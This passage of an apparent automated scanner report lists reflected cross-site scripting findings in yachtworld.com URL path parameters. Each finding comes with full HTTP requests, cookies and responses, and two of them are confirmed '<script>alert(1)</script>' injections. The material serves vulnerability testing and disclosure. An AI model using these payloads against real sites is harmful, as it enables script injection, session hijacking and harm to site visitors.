VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:31 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf204"><a>8cd7dafa3db was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Sea+Raybf204"><a>8cd7dafa3db/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:38 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13469"><script>alert(1)</script>951e3c34935 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Sea+Ray/113469"><script>alert(1)</script>951e3c34935 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34cb2"><a>be23b373d69 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type34cb2"><a>be23b373d69/Silverton/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:14 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95307"><a>26562a34325 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Silverton95307"><a>26562a34325/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:21 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efab2"><script>alert(1)</script>8f5b9752a51 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Silverton/1efab2"><script>alert(1)</script>8f5b9752a51 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 